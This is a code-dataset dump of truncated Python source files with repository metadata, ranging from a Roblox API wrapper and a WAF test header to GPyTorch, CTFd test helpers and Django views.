c75c60f75fce7285b991ad22486e1b1b13a02fed | 1,990 | py | Python | roblox/partials/partialgroup.py | speer-kinjo/ro.py | 2d5b80aec8fd143b11101fbbfdf3b557f798a27f | [
"MIT"
] | 28 | 2021-11-04T11:13:38.000Z | 2022-03-11T05:00:16.000Z | roblox/partials/partialgroup.py | speer-kinjo/ro.py | 2d5b80aec8fd143b11101fbbfdf3b557f798a27f | [
"MIT"
] | 12 | 2021-11-24T06:25:24.000Z | 2022-03-18T14:37:01.000Z | roblox/partials/partialgroup.py | speer-kinjo/ro.py | 2d5b80aec8fd143b11101fbbfdf3b557f798a27f | [
"MIT"
] | 21 | 2021-10-20T16:36:55.000Z | 2022-03-27T21:43:53.000Z | """
This file contains partial objects related to Roblox groups.
"""
from __future__ import annotations
from typing import TYPE_CHECKING
from ..bases.basegroup import BaseGroup
from ..bases.baseuser import BaseUser
if TYPE_CHECKING:
from ..client import Client
class AssetPartialGroup(BaseGroup):
"""
R... | 28.028169 | 91 | 0.628643 | 251 | 1,990 | 4.776892 | 0.286853 | 0.070058 | 0.053378 | 0.045038 | 0.522102 | 0.522102 | 0.522102 | 0.522102 | 0.522102 | 0.522102 | 0 | 0.001371 | 0.266834 | 1,990 | 70 | 92 | 28.428571 | 0.820425 | 0.411055 | 0 | 0.434783 | 0 | 0.086957 | 0.143564 | 0.051485 | 0 | 0 | 0 | 0 | 0 | 1 | 0.173913 | false | 0 | 0.217391 | 0.086957 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c75e39b34cd2c6335e68141ae306111fa4b684be | 10,238 | py | Python | tests/blackbox/access_settings/test_bb_access_settings.py | csanders-git/waflz | ec8fc7c845f20a2a8c757d13845ba22a6d7c5b28 | [
"Apache-2.0"
] | 1 | 2019-03-16T09:02:58.000Z | 2019-03-16T09:02:58.000Z | tests/blackbox/access_settings/test_bb_access_settings.py | csanders-git/waflz | ec8fc7c845f20a2a8c757d13845ba22a6d7c5b28 | [
"Apache-2.0"
] | null | null | null | tests/blackbox/access_settings/test_bb_access_settings.py | csanders-git/waflz | ec8fc7c845f20a2a8c757d13845ba22a6d7c5b28 | [
"Apache-2.0"
] | 1 | 2021-04-22T09:43:46.000Z | 2021-04-22T09:43:46.000Z | #!/usr/bin/python
'''Test WAF Access settings'''
#TODO: make so waflz_server only runs once and then can post to it
# ------------------------------------------------------------------------------
# Imports
# ------------------------------------------------------------------------------
import pytest
import subprocess... | 49.458937 | 117 | 0.511428 | 1,191 | 10,238 | 3.985726 | 0.179681 | 0.0257 | 0.051822 | 0.050137 | 0.68043 | 0.669686 | 0.633453 | 0.609859 | 0.603328 | 0.576153 | 0 | 0.015811 | 0.153643 | 10,238 | 206 | 118 | 49.699029 | 0.532025 | 0.368529 | 0 | 0.5 | 0 | 0 | 0.202672 | 0.064392 | 0 | 0 | 0 | 0.004854 | 0.202899 | 0 | null | null | 0.036232 | 0.057971 | null | null | 0.036232 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c75ec65b0817a875da33fd517bd4f04f459ffba4 | 2,852 | py | Python | cosmosis/runtime/analytics.py | ktanidis2/Modified_CosmoSIS_for_galaxy_number_count_angular_power_spectra | 07e5d308c6a8641a369a3e0b8d13c4104988cd2b | [
"BSD-2-Clause"
] | 1 | 2021-09-15T10:10:26.000Z | 2021-09-15T10:10:26.000Z | cosmosis/runtime/analytics.py | ktanidis2/Modified_CosmoSIS_for_galaxy_number_count_angular_power_spectra | 07e5d308c6a8641a369a3e0b8d13c4104988cd2b | [
"BSD-2-Clause"
] | null | null | null | cosmosis/runtime/analytics.py | ktanidis2/Modified_CosmoSIS_for_galaxy_number_count_angular_power_spectra | 07e5d308c6a8641a369a3e0b8d13c4104988cd2b | [
"BSD-2-Clause"
] | 1 | 2021-06-11T15:29:43.000Z | 2021-06-11T15:29:43.000Z | #coding: utf-8
from __future__ import print_function
from builtins import zip
from builtins import object
from cosmosis import output as output_module
import numpy as np
import sys
import os
class Analytics(object):
def __init__(self, params, pool=None):
self.params = params
self.pool = pool
... | 31.688889 | 73 | 0.543829 | 361 | 2,852 | 4.182825 | 0.310249 | 0.058278 | 0.074172 | 0.019868 | 0.117881 | 0.049007 | 0.049007 | 0.049007 | 0.049007 | 0 | 0 | 0.011983 | 0.356241 | 2,852 | 89 | 74 | 32.044944 | 0.810458 | 0.041374 | 0 | 0.1 | 0 | 0 | 0.08315 | 0 | 0 | 0 | 0 | 0.011236 | 0 | 1 | 0.071429 | false | 0 | 0.1 | 0 | 0.271429 | 0.085714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c7675ba7953da5231174f58bf3d8e9f9039a7d72 | 5,668 | py | Python | sdk/python/pulumi_aws_native/workspaces/get_workspace.py | pulumi/pulumi-aws-native | 1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3 | [
"Apache-2.0"
] | 29 | 2021-09-30T19:32:07.000Z | 2022-03-22T21:06:08.000Z | sdk/python/pulumi_aws_native/workspaces/get_workspace.py | pulumi/pulumi-aws-native | 1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3 | [
"Apache-2.0"
] | 232 | 2021-09-30T19:26:26.000Z | 2022-03-31T23:22:06.000Z | sdk/python/pulumi_aws_native/workspaces/get_workspace.py | pulumi/pulumi-aws-native | 1ae4a4d9c2256b2a79ca536f8d8497b28d10e4c3 | [
"Apache-2.0"
] | 4 | 2021-11-10T19:42:01.000Z | 2022-02-05T10:15:49.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from... | 41.985185 | 211 | 0.711009 | 655 | 5,668 | 5.783206 | 0.174046 | 0.152059 | 0.145723 | 0.085533 | 0.399155 | 0.288015 | 0.217001 | 0.131204 | 0.054382 | 0.054382 | 0 | 0.000219 | 0.195483 | 5,668 | 134 | 212 | 42.298507 | 0.830482 | 0.054693 | 0 | 0.09434 | 1 | 0 | 0.172051 | 0.077573 | 0 | 0 | 0 | 0 | 0 | 1 | 0.113208 | false | 0 | 0.056604 | 0.075472 | 0.283019 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c768fa044e6b10f72fbfbfa85435ada393a83af3 | 673 | py | Python | tests/test_distance.py | mkclairhong/quail | a6d6502746c853518a670d542222eb5fc2b05542 | [
"MIT"
] | 1 | 2018-05-30T15:33:26.000Z | 2018-05-30T15:33:26.000Z | tests/test_distance.py | mkclairhong/quail | a6d6502746c853518a670d542222eb5fc2b05542 | [
"MIT"
] | null | null | null | tests/test_distance.py | mkclairhong/quail | a6d6502746c853518a670d542222eb5fc2b05542 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from quail.distance import *
import numpy as np
import pytest
from scipy.spatial.distance import cdist
def test_match():
a = 'A'
b = 'B'
assert np.equal(match(a, b), 1)
def test_euclidean_list():
a = [0, 1, 0]
b = [0, 1, 0]
assert np.equal(euclidean(a, b), 0)
def test... | 21.03125 | 41 | 0.580981 | 117 | 673 | 3.264957 | 0.230769 | 0.041885 | 0.062827 | 0.041885 | 0.557592 | 0.513089 | 0.513089 | 0.513089 | 0.513089 | 0.513089 | 0 | 0.058594 | 0.239227 | 673 | 31 | 42 | 21.709677 | 0.6875 | 0.031204 | 0 | 0.5 | 0 | 0 | 0.003077 | 0 | 0 | 0 | 0 | 0 | 0.208333 | 1 | 0.208333 | false | 0 | 0.166667 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c76ca1375282328ef3e6038f93b1edf1d46d7f49 | 1,728 | py | Python | af/shovel/test_canning.py | mimi89999/pipeline | 3e9eaf74c0966df907a230fbe89407c2bbc3d930 | [
"BSD-3-Clause"
] | null | null | null | af/shovel/test_canning.py | mimi89999/pipeline | 3e9eaf74c0966df907a230fbe89407c2bbc3d930 | [
"BSD-3-Clause"
] | null | null | null | af/shovel/test_canning.py | mimi89999/pipeline | 3e9eaf74c0966df907a230fbe89407c2bbc3d930 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python2.7
import unittest
import canning
class TestNop(unittest.TestCase):
def test_nop(self):
canning.NopTeeFd.write("asdf")
class TestSlice(unittest.TestCase):
REPORT = "20130505T065614Z-VN-AS24173-dns_consistency-no_report_id-0.1.0-probe.yaml"
@staticmethod
def rpt(year)... | 30.315789 | 100 | 0.609375 | 216 | 1,728 | 4.75 | 0.351852 | 0.061404 | 0.099415 | 0.089669 | 0.421053 | 0.339181 | 0.183236 | 0.183236 | 0.183236 | 0.183236 | 0 | 0.085366 | 0.240741 | 1,728 | 56 | 101 | 30.857143 | 0.696646 | 0.03588 | 0 | 0.097561 | 0 | 0.02439 | 0.117188 | 0.101563 | 0 | 0 | 0 | 0.017857 | 0.268293 | 1 | 0.170732 | false | 0 | 0.04878 | 0 | 0.317073 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c76e7fcaeb2193c977b2c4ee81febf00b7763cee | 2,175 | py | Python | gpytorch/models/approximate_gp.py | phumm/gpytorch | 4e8042bcecda049956f8f9e823d82ba6340766d5 | [
"MIT"
] | 1 | 2019-09-30T06:51:03.000Z | 2019-09-30T06:51:03.000Z | gpytorch/models/approximate_gp.py | phumm/gpytorch | 4e8042bcecda049956f8f9e823d82ba6340766d5 | [
"MIT"
] | null | null | null | gpytorch/models/approximate_gp.py | phumm/gpytorch | 4e8042bcecda049956f8f9e823d82ba6340766d5 | [
"MIT"
] | 1 | 2020-09-16T16:35:27.000Z | 2020-09-16T16:35:27.000Z | #!/usr/bin/env python3
from .gp import GP
from .pyro import _PyroMixin # This will only contain functions if Pyro is installed
class ApproximateGP(GP, _PyroMixin):
def __init__(self, variational_strategy):
super().__init__()
self.variational_strategy = variational_strategy
def forward(self,... | 38.157895 | 114 | 0.593563 | 276 | 2,175 | 4.568841 | 0.355072 | 0.079302 | 0.054718 | 0.042823 | 0.536082 | 0.536082 | 0.536082 | 0.496431 | 0.439334 | 0.374306 | 0 | 0.00584 | 0.291494 | 2,175 | 56 | 115 | 38.839286 | 0.812459 | 0.538391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.294118 | false | 0 | 0.117647 | 0 | 0.647059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c774024668ea75381f4aedf887a584aaa227cbf7 | 320 | py | Python | 1stRound/Medium/322-Coin Change/DP.py | ericchen12377/Leetcode-Algorithm-Python | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | [
"MIT"
] | 2 | 2020-04-24T18:36:52.000Z | 2020-04-25T00:15:57.000Z | 1stRound/Medium/322-Coin Change/DP.py | ericchen12377/Leetcode-Algorithm-Python | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | [
"MIT"
] | null | null | null | 1stRound/Medium/322-Coin Change/DP.py | ericchen12377/Leetcode-Algorithm-Python | eb58cd4f01d9b8006b7d1a725fc48910aad7f192 | [
"MIT"
] | null | null | null | class Solution:
def coinChange(self, coins: List[int], amount: int) -> int:
M = float('inf')
# dynamic programming
dp = [0] + [M] * amount
for i in range(1, amount+1):
dp[i] = 1 + min([dp[i-c] for c in coins if i >= c] or [M])
return dp[-1] if dp[-1] < M else -1
| 32 | 70 | 0.496875 | 52 | 320 | 3.057692 | 0.519231 | 0.037736 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033019 | 0.3375 | 320 | 9 | 71 | 35.555556 | 0.716981 | 0.059375 | 0 | 0 | 0 | 0 | 0.010033 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c77943cb74b84356ac52ea818e7a35cca299778c | 4,040 | py | Python | tests/helpers.py | ws4/TopCTFd | 3b1e25df1318e86ff163a0b546f6e9b7f8305a5a | [
"Apache-2.0"
] | 1 | 2019-06-25T09:24:29.000Z | 2019-06-25T09:24:29.000Z | tests/helpers.py | ws4/TopCTFd | 3b1e25df1318e86ff163a0b546f6e9b7f8305a5a | [
"Apache-2.0"
] | null | null | null | tests/helpers.py | ws4/TopCTFd | 3b1e25df1318e86ff163a0b546f6e9b7f8305a5a | [
"Apache-2.0"
] | null | null | null | from CTFd import create_app
from CTFd.models import *
from sqlalchemy_utils import database_exists, create_database, drop_database
from sqlalchemy.engine.url import make_url
import datetime
import six
if six.PY2:
text_type = unicode
binary_type = str
else:
text_type = str
binary_type = bytes
def crea... | 27.297297 | 117 | 0.592574 | 506 | 4,040 | 4.628459 | 0.209486 | 0.076857 | 0.051238 | 0.089667 | 0.272844 | 0.272844 | 0.253202 | 0.204526 | 0.186166 | 0.128096 | 0 | 0.00789 | 0.278465 | 4,040 | 147 | 118 | 27.482993 | 0.79554 | 0.006683 | 0 | 0.292035 | 0 | 0 | 0.096485 | 0.011967 | 0 | 0 | 0 | 0 | 0 | 1 | 0.141593 | false | 0.079646 | 0.053097 | 0 | 0.309735 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
c77bfcd69447b6d8753b518a3930aaea586d8856 | 440 | py | Python | support/views.py | bhagirath1312/ich_bau | d37fe7aa3379f312a4d8b5f3d4715dd334b9adb0 | [
"Apache-2.0"
] | 1 | 2021-11-25T19:37:01.000Z | 2021-11-25T19:37:01.000Z | support/views.py | bhagirath1312/ich_bau | d37fe7aa3379f312a4d8b5f3d4715dd334b9adb0 | [
"Apache-2.0"
] | 197 | 2017-09-06T22:54:20.000Z | 2022-02-05T00:04:13.000Z | support/views.py | bhagirath1312/ich_bau | d37fe7aa3379f312a4d8b5f3d4715dd334b9adb0 | [
"Apache-2.0"
] | 2 | 2017-11-08T02:13:03.000Z | 2020-09-30T19:48:12.000Z | from django.shortcuts import render, redirect
from django.http import HttpResponseRedirect
from .models import SupportProject
# Create your views here.
def index( request ):
sp = SupportProject.objects.all()
if sp.count() == 1:
return HttpResponseRedirect( sp.first().project.get_absolute_url() )... | 27.5 | 76 | 0.688636 | 51 | 440 | 5.862745 | 0.686275 | 0.06689 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002874 | 0.209091 | 440 | 15 | 77 | 29.333333 | 0.856322 | 0.052273 | 0 | 0 | 0 | 0 | 0.050602 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.3 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c77d8ee927213d5c37d334a8dc0c0e3d7493a2cf | 2,221 | py | Python | app/api/user_routes.py | nappernick/envelope | af4f574c04c51293b90ee2e09d0f95d12ca36d2c | [
"MIT"
] | 2 | 2021-01-13T22:52:16.000Z | 2021-01-29T18:37:51.000Z | app/api/user_routes.py | nappernick/envelope | af4f574c04c51293b90ee2e09d0f95d12ca36d2c | [
"MIT"
] | 32 | 2021-01-08T19:05:33.000Z | 2021-04-07T22:01:54.000Z | app/api/user_routes.py | nappernick/envelope | af4f574c04c51293b90ee2e09d0f95d12ca36d2c | [
"MIT"
] | null | null | null | from datetime import datetime
from werkzeug.security import generate_password_hash
from flask import Blueprint, jsonify, request
from sqlalchemy.orm import joinedload
from flask_login import login_required
from app.models import db, User, Type
from app.forms import UpdateUserForm
from .auth_routes import authenticate, ... | 30.013514 | 74 | 0.692031 | 296 | 2,221 | 4.969595 | 0.283784 | 0.047587 | 0.061183 | 0.048946 | 0.182189 | 0.112848 | 0.048946 | 0.048946 | 0.048946 | 0 | 0 | 0.001086 | 0.170644 | 2,221 | 73 | 75 | 30.424658 | 0.797503 | 0 | 0 | 0.15 | 1 | 0 | 0.088699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.033333 | 0.133333 | 0 | 0.366667 | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c782a4a5ddbb4061270df891d7584a13d55d2191 | 6,325 | py | Python | paul_analysis/Python/labird/gamma.py | lzkelley/arepo-mbh-sims_analysis | f14519552cedd39a040b53e6d7cc538b5b8f38a3 | [
"MIT"
] | null | null | null | paul_analysis/Python/labird/gamma.py | lzkelley/arepo-mbh-sims_analysis | f14519552cedd39a040b53e6d7cc538b5b8f38a3 | [
"MIT"
] | null | null | null | paul_analysis/Python/labird/gamma.py | lzkelley/arepo-mbh-sims_analysis | f14519552cedd39a040b53e6d7cc538b5b8f38a3 | [
"MIT"
] | null | null | null | """Module for finding an effective equation of state for in the Lyman-alpha forest
from a snapshot. Ported to python from Matteo Viel's IDL script."""
import h5py
import math
import numpy as np
def read_gamma(num,base):
"""Reads in an HDF5 snapshot from the NE gadget version, fits a power law to the
equation ... | 32.772021 | 192 | 0.552727 | 877 | 6,325 | 3.971494 | 0.297605 | 0.017227 | 0.020098 | 0.019523 | 0.109101 | 0.084984 | 0.039047 | 0.039047 | 0 | 0 | 0 | 0.062134 | 0.297708 | 6,325 | 192 | 193 | 32.942708 | 0.721972 | 0.286008 | 0 | 0.137615 | 0 | 0 | 0.080321 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.027523 | null | null | 0.045872 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c785fce89075a58bb84f43684cf4f43e70fff95c | 3,561 | py | Python | MySite/MainApp/views.py | tananyan/siteee | f90c4ed56122d1af2f3795a0f16c3f294b785ad3 | [
"MIT"
] | 1 | 2021-11-29T14:50:09.000Z | 2021-11-29T14:50:09.000Z | MySite/MainApp/views.py | tananyan/siteee | f90c4ed56122d1af2f3795a0f16c3f294b785ad3 | [
"MIT"
] | null | null | null | MySite/MainApp/views.py | tananyan/siteee | f90c4ed56122d1af2f3795a0f16c3f294b785ad3 | [
"MIT"
] | null | null | null | from django.shortcuts import render
from django.views.generic.edit import FormView
from django.views.generic.edit import View
from . import forms
# Опять же, спасибо django за готовую форму аутентификации.
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth import logout
from django... | 33.914286 | 134 | 0.686043 | 387 | 3,561 | 6.248062 | 0.307494 | 0.029777 | 0.028122 | 0.026468 | 0.568652 | 0.510753 | 0.484285 | 0.484285 | 0.484285 | 0.424731 | 0 | 0.005492 | 0.233081 | 3,561 | 104 | 135 | 34.240385 | 0.879897 | 0.335861 | 0 | 0.352941 | 0 | 0 | 0.112104 | 0.051809 | 0 | 0 | 0 | 0 | 0 | 1 | 0.137255 | false | 0 | 0.156863 | 0 | 0.764706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
c787d4b85054cce4a273d4cda061e7e65933333a | 3,351 | py | Python | PhysicsTools/PythonAnalysis/python/ParticleDecayDrawer.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | PhysicsTools/PythonAnalysis/python/ParticleDecayDrawer.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | PhysicsTools/PythonAnalysis/python/ParticleDecayDrawer.py | nistefan/cmssw | ea13af97f7f2117a4f590a5e654e06ecd9825a5b | [
"Apache-2.0"
] | null | null | null | # Benedikt Hegner, DESY
# benedikt.hegner@cern.ch
#
# this tool is based on Luca Lista's tree drawer module
class ParticleDecayDrawer(object):
"""Draws particle decay tree """
def __init__(self):
print "Init particleDecayDrawer"
# booleans: printP4 printPtEtaPhi printVertex
... | 33.848485 | 81 | 0.497165 | 310 | 3,351 | 5.303226 | 0.270968 | 0.018248 | 0.010949 | 0.021898 | 0.150852 | 0.038929 | 0 | 0 | 0 | 0 | 0 | 0.008487 | 0.402268 | 3,351 | 98 | 82 | 34.193878 | 0.812282 | 0.057296 | 0 | 0.111111 | 0 | 0 | 0.023802 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.152778 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c78c8acd4546ee0e8cf65b0df48d4a928c3e7481 | 1,262 | py | Python | model/model.py | CaoHoangTung/shark-cop-server | 38cb494d45297b723b4ef6bf82b8c9e53c2993a0 | [
"MIT"
] | 2 | 2020-10-02T03:01:32.000Z | 2020-12-06T09:21:06.000Z | model/model.py | CaoHoangTung/shark-cop-server | 38cb494d45297b723b4ef6bf82b8c9e53c2993a0 | [
"MIT"
] | null | null | null | model/model.py | CaoHoangTung/shark-cop-server | 38cb494d45297b723b4ef6bf82b8c9e53c2993a0 | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from sklearn.model_selection import train_test_split
from sklearn.svm import SVC
from sklearn.metrics import classification_report, confusion_matrix
from mlxtend.plotting import plot_decision_regions
# from sklearn import datasets
from pandas.plotti... | 33.210526 | 103 | 0.759113 | 225 | 1,262 | 4.04 | 0.306667 | 0.035204 | 0.036304 | 0.030803 | 0.168317 | 0.09791 | 0.088009 | 0.080308 | 0.066007 | 0.066007 | 0 | 0.039301 | 0.09271 | 1,262 | 37 | 104 | 34.108108 | 0.754585 | 0.09271 | 0 | 0 | 0 | 0 | 0.059649 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0.12 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
c78d62ba8abdde61ef2fb89e7ca95a09bbcfc5d2 | 282 | py | Python | v1/models.py | jdubansky/openstates.org | 6fd5592aae554c4bb201f0a76ed3605bff5204c2 | [
"MIT"
] | 1 | 2022-01-17T11:54:28.000Z | 2022-01-17T11:54:28.000Z | v1/models.py | washabstract/openstates.org | dc541ae5cd09dd3b3db623178bf32a03d0246f01 | [
"MIT"
] | null | null | null | v1/models.py | washabstract/openstates.org | dc541ae5cd09dd3b3db623178bf32a03d0246f01 | [
"MIT"
] | null | null | null | from django.db import models
from openstates.data.models import Bill
class LegacyBillMapping(models.Model):
legacy_id = models.CharField(max_length=20, primary_key=True)
bill = models.ForeignKey(
Bill, related_name="legacy_mapping", on_delete=models.CASCADE
)
| 28.2 | 69 | 0.758865 | 37 | 282 | 5.621622 | 0.72973 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008368 | 0.152482 | 282 | 9 | 70 | 31.333333 | 0.861925 | 0 | 0 | 0 | 0 | 0 | 0.049645 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c794ff339d897246d1f9ee7d50c25c7781c1ee06 | 3,286 | py | Python | mo_leduc.py | mohamedun/Deep-CFR | ec3a7fb06e11bd6cc65bb2bf6f16108ee41f7234 | [
"MIT"
] | null | null | null | mo_leduc.py | mohamedun/Deep-CFR | ec3a7fb06e11bd6cc65bb2bf6f16108ee41f7234 | [
"MIT"
] | null | null | null | mo_leduc.py | mohamedun/Deep-CFR | ec3a7fb06e11bd6cc65bb2bf6f16108ee41f7234 | [
"MIT"
] | null | null | null | from PokerRL.game.games import StandardLeduc
from PokerRL.game.games import BigLeduc
from PokerRL.eval.rl_br.RLBRArgs import RLBRArgs
from PokerRL.eval.lbr.LBRArgs import LBRArgs
from PokerRL.game.bet_sets import POT_ONLY
from DeepCFR.EvalAgentDeepCFR import EvalAgentDeepCFR
from DeepCFR.TrainingProfile import Training... | 54.766667 | 119 | 0.370663 | 240 | 3,286 | 4.725 | 0.533333 | 0.048501 | 0.039683 | 0.035273 | 0.045855 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031734 | 0.587645 | 3,286 | 59 | 120 | 55.694915 | 0.805166 | 0.058125 | 0 | 0.122449 | 0 | 0 | 0.016526 | 0.006805 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.183673 | 0 | 0.183673 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c79a2fb3f10def9e365b5ba6af795f7018c3bbe1 | 693 | py | Python | museflow/components/embedding_layer.py | BILLXZY1215/museflow | 241a98ef7b3f435f29bd5d2861ac7b17d4c091d8 | [
"BSD-3-Clause"
] | null | null | null | museflow/components/embedding_layer.py | BILLXZY1215/museflow | 241a98ef7b3f435f29bd5d2861ac7b17d4c091d8 | [
"BSD-3-Clause"
] | null | null | null | museflow/components/embedding_layer.py | BILLXZY1215/museflow | 241a98ef7b3f435f29bd5d2861ac7b17d4c091d8 | [
"BSD-3-Clause"
] | null | null | null | from .component import Component, using_scope
import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
class EmbeddingLayer(Component):
def __init__(self, input_size, output_size, name='embedding'):
Component.__init__(self, name=name)
self.input_size = input_size
